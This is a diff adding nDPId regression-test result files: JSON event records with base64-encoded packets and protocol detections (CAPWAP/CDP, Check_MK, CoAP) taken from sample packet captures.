+00739{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329026,"pkt_ts_usec":532951,"pkt_caplen":296,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":296,"pkt_l4_len":262,"pkt":"JOmzR64guDhh8wWsCABFwAEaAA5AAEARo6HAqAoKwKgKCTBcFH8BBgAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFsYeJ3RsAQJYlAAEcq6fyE50AAAIACwAFqj\/7QA8C8OXdGwBAliUAARyrp\/ITnQAAAAALAAWqnVZgBwLv5N0bAECWJQABHKun8hOdAABIAAsABarktYAJAu\/l3RsAQJYlAAEcq6fyE50AAEkACwAFqzOnoAwC8OfdGwBAliUAARyrp\/ITnQAABgALAAWsDwHgAwLu5N0bAECWJQABHKun8hOdAQBMACwABbCrFWAKAuXm3RsAQJYlAAEcq6fyE50BAEsALAAFsPjYgA4C5OU="} +00544{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329027,"pkt_ts_usec":532949,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"JOmzR64guDhh8wWsCABFwACJAA9AAEARpDHAqAoKwKgKCTBcFH8AdQAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFwMnO3RsAQJYlAAHYuyzGJ5kAAA4ACwAFvYpMsJICu7fdGwBAliUAAdi7LMYnmQAAFAALAAW\/LzbAmwK9tQ=="} +00817{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":192,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329034,"pkt_ts_usec":72795,"pkt_caplen":389,"pkt_type":375,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":389,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAXeqqgMAAAwgAAK0KHQAAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAQAAY8KAAZABCkjQABAAA8KAAAMsg="} +00156{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":192,"source":"capwap.pcap","alias":"nDPId-test","type":375} +00818{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":293,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329091,"pkt_ts_usec":711112,"pkt_caplen":389,"pkt_type":375,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":389,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAXeqqgMAAAwgAAK0KHQAAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAQAAY8KAAZABCkjQABAAA8KAAAMsg="} +00156{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":293,"source":"capwap.pcap","alias":"nDPId-test","type":375} +00572{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329136,"pkt_ts_usec":181809,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFwACXAGlAAP8Rr3rAqAoK\/\/\/\/\/zBcFH4AgwAAACACEAAAAAAGWAogaQ4g\/wAAABMAAGYAABQAAQEAJwAoAgIAAQBAlgAAAAAEAQAAAABAlgAAAQAEBwVmAABAlgAAAgAEDAQZAAApAAEEACwAAQEAJQAKAECWAADPAQAAAQAlABYAQJYAAAVBUGI4MzguNjFmMy4wNWFj"} +00572{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329136,"pkt_ts_usec":181810,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFwACXAGlAAP8Rr3rAqAoK\/\/\/\/\/zBcFH4AgwAAACACEAAAAAAGWAogaQ4g\/wAAABMAAGYAABQAAQEAJwAoAgIAAQBAlgAAAAAEAQAAAABAlgAAAQAEBwVmAABAlgAAAgAEDAQZAAApAAEEACwAAQEAJQAKAECWAADPAQAAAQAlABYAQJYAAAVBUGI4MzguNjFmMy4wNWFj"} +00818{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":378,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329141,"pkt_ts_usec":909488,"pkt_caplen":389,"pkt_type":375,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":389,"pkt_l4_len":0,"pkt":"AQAMzMzMuDhh8wWsAXeqqgMAAAwgAAK0KHQAAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAQAAY8KAAZABCkjQABAAA8KAAAMsg="} +00156{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":378,"source":"capwap.pcap","alias":"nDPId-test","type":375} diff --git a/test/results/check_mk_new.pcap.out b/test/results/check_mk_new.pcap.out new file mode 100644 index 000000000..105963f88 --- /dev/null +++ b/test/results/check_mk_new.pcap.out @@ -0,0 +1,17 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"check_mk_new.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1512031663734,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.100.22","dst_ip":"192.168.100.50","src_port":58998,"dst_port":6556,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":734797,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"RjIA9qTs8soKyPpECABFEAA8gwhAAEAGbgrAqGQWwKhkMuZ2GZzVcug3AAAAAKACchA4TQAAAgQFtAQCCAorDGs\/AAAAAAEDAwc="} +00439{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":734824,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8soKyPpERjIA9qTsCABFAAA8AABAAEAG8SLAqGQywKhkFhmc5nZuqQJN1XLoOKAScSBJyAAAAgQFtAQCCAoWUVydKwxrPwEDAwc="} +00427{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":734985,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RjIA9qTs8soKyPpECABFEAA0gwlAAEAGbhHAqGQWwKhkMuZ2GZzVcug4bqkCToAQAOVJwAAAAQEICisMaz8WUVyd"} +00448{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":736952,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"8soKyPpERjIA9qTsCABFAABDXtNAAEAGkkjAqGQywKhkFhmc5nZuqQJO1XLoOIAYAONJzwAAAQEIChZRXJ4rDGs\/PDw8Y2hlY2tfbWs+Pj4K"} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"check_mk_new.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1512031663734,"flow_last_seen":1512031663736,"flow_tot_l4_data_len":159,"flow_min_l4_data_len":32,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.100.22","dst_ip":"192.168.100.50","src_port":58998,"dst_port":6556,"l4_proto":"tcp","ndpi": {"proto":"CHECKMK","breed":"Acceptable","category":"DataTransfer"}} +00427{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":737046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RjIA9qTs8soKyPpECABFEAA0gwpAAEAGbhDAqGQWwKhkMuZ2GZzVcug4bqkCXYAQAOVJwAAAAQEICisMa0AWUVye"} +00786{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":737054,"pkt_caplen":331,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":331,"pkt_l4_len":297,"pkt":"8soKyPpERjIA9qTsCABFAAE9XtRAAEAGkU3AqGQywKhkFhmc5nZuqQJd1XLoOIAYAONKyQAAAQEIChZRXJ4rDGtAVmVyc2lvbjogMS40LjBwOQpBZ2VudE9TOiBsaW51eApIb3N0bmFtZTogYnVpbGRob3N0LTkKQWdlbnREaXJlY3Rvcnk6IC9ldGMvY2hlY2tfbWsKRGF0YURpcmVjdG9yeTogL3Zhci9saWIvY2hlY2tfbWtfYWdlbnQKU3Bvb2xEaXJlY3Rvcnk6IC92YXIvbGliL2NoZWNrX21rX2FnZW50L3Nwb29sClBsdWdpbnNEaXJlY3Rvcnk6IC91c3IvbGliL2NoZWNrX21rX2FnZW50L3BsdWdpbnMKTG9jYWxEaXJlY3Rvcnk6IC91c3IvbGliL2NoZWNrX21rX2FnZW50L2xvY2FsCg=="} +00428{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":737114,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RjIA9qTs8soKyPpECABFEAA0gwtAAEAGbg\/AqGQWwKhkMuZ2GZzVcug4bqkDZoAQAO1JwAAAAQEICisMa0AWUVye"} +00443{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":737121,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"8soKyPpERjIA9qTsCABFAAA+XtVAAEAGkkvAqGQywKhkFhmc5nZuqQNm1XLoOIAYAONJygAAAQEIChZRXJ4rDGtAT25seUZyb206IA=="} +00427{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":737218,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RjIA9qTs8soKyPpECABFEAA0gwxAAEAGbg7AqGQWwKhkMuZ2GZzVcug4bqkDcIAQAO1JwAAAAQEICisMa0AWUVye"} +00433{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":738986,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"8soKyPpERjIA9qTsCABFAAA1XtZAAEAGklPAqGQywKhkFhmc5nZuqQNw1XLoOIAYAONJwQAAAQEIChZRXJ4rDGtACg=="} +00429{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":739052,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RjIA9qTs8soKyPpECABFEAA0gw1AAEAGbg3AqGQWwKhkMuZ2GZzVcug4bqkDcYAQAO1JwAAAAQEICisMa0AWUVye"} +00441{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":739058,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"8soKyPpERjIA9qTsCABFAAA9XtdAAEAGkkrAqGQywKhkFhmc5nZuqQNx1XLoOIAYAONJyQAAAQEIChZRXJ4rDGtAPDw8ZGY+Pj4K"} +00429{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":739142,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RjIA9qTs8soKyPpECABFEAA0gw5AAEAGbgzAqGQWwKhkMuZ2GZzVcug4bqkDeoAQAO1JwAAAAQEICisMa0AWUVye"} +01104{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":740312,"pkt_caplen":568,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":568,"pkt_l4_len":534,"pkt":"8soKyPpERjIA9qTsCABFAAIqXthAAEAGkFzAqGQywKhkFhmc5nZuqQN61XLoOIAYAONLtgAAAQEIChZRXJ8rDGtAdWRldiAgICAgICAgICAgZGV2dG1wZnMgICAgICA0OTQwOTIgICAgICAgMCAgICA0OTQwOTIgICAgICAgMCUgL2Rldgp0bXBmcyAgICAgICAgICB0bXBmcyAgICAgICAgIDEwMTAzNiAgICA2ODQ4ICAgICA5NDE4OCAgICAgICA3JSAvcnVuCi9kZXYveHZkYTEgICAgIGV4dDQgICAgICAgICA3MDM3MTc2IDIwNDkyNzIgICA0NjEwNzE2ICAgICAgMzElIC8KdG1wZnMgICAgICAgICAgdG1wZnMgICAgICAgICA1MDUxODAgICAgICAgMCAgICA1MDUxODAgICAgICAgMCUgL2Rldi9zaG0KdG1wZnMgICAgICAgICAgdG1wZnMgICAgICAgICAgIDUxMjAgICAgICAgMCAgICAgIDUxMjAgICAgICAgMCUgL3J1bi9sb2NrCnRtcGZzICAgICAgICAgIHRtcGZzICAgICAgICAgNTA1MTgwICAgICAgIDAgICAgNTA1MTgwICAgICAgIDAlIC9zeXMvZnMvY2dyb3VwCnRtcGZzICAgICAgICAgIHRtcGZzICAgICAgICAgMTAxMDM2ICAgICAgIDAgICAgMTAxMDM2ICAgICAgIDAlIC9ydW4vdXNlci8xMDAwCg=="} +00429{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"check_mk_new.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1512031663,"pkt_ts_usec":740384,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"RjIA9qTs8soKyPpECABFEAA0gw9AAEAGbgvAqGQWwKhkMuZ2GZzVcug4bqkFcIAQAPVJwAAAAQEICisMa0AWUVyf"} diff --git a/test/results/coap_mqtt.pcap.out b/test/results/coap_mqtt.pcap.out new file mode 100644 index 000000000..c5d96a0b1 --- /dev/null +++ b/test/results/coap_mqtt.pcap.out @@ -0,0 +1,179 @@ +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1333957710293,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61043,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1333957710,"pkt_ts_usec":293035,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"ACOJtMwBSF1gwJdKht1gAAAAACARQCABDagCFRFxoQvLSI+DV\/YgAQYgAAg12QAAAAAAAAAQ7nMWMwAg\/RpDAQXKchYzKy53ZWxsLWtub3duBGNvcmU="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1333957710293,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61043,"dst_port":5683,"l4_proto":"udp","ndpi": {"proto":"COAP","breed":"Safe","category":"RPC"}} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1333957715764,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61044,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1333957715,"pkt_ts_usec":764217,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"ACOJtMwBSF1gwJdKht1gAAAAACARQCABDagCFRFxoQvLSI+DV\/YgAQYgAAg12QAAAAAAAAAQ7nQWMwAgAxVDAv\/NchYzKy53ZWxsLWtub3duBGNvcmU="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1333957715764,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61044,"dst_port":5683,"l4_proto":"udp","ndpi": {"proto":"COAP","breed":"Safe","category":"RPC"}} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1333957717200,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61045,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1333957717,"pkt_ts_usec":200749,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"ACOJtMwBSF1gwJdKht1gAAAAACARQCABDagCFRFxoQvLSI+DV\/YgAQYgAAg12QAAAAAAAAAQ7nUWMwAgyuNDAzf9chYzKy53ZWxsLWtub3duBGNvcmU="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1333957717200,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61045,"dst_port":5683,"l4_proto":"udp","ndpi": {"proto":"COAP","breed":"Safe","category":"RPC"}} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1333957718629,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61046,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1333957718,"pkt_ts_usec":629009,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"ACOJtMwBSF1gwJdKht1gAAAAACARQCABDagCFRFxoQvLSI+DV\/YgAQYgAAg12QAAAAAAAAAQ7nYWMwAgvHpDBEZkchYzKy53ZWxsLWtub3duBGNvcmU="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1333957718629,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61046,"dst_port":5683,"l4_proto":"udp","ndpi": {"proto":"COAP","breed":"Safe","category":"RPC"}} +00507{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1333957710293,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61043,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1333957715764,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61044,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1333957717200,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61045,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1333957718629,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61046,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 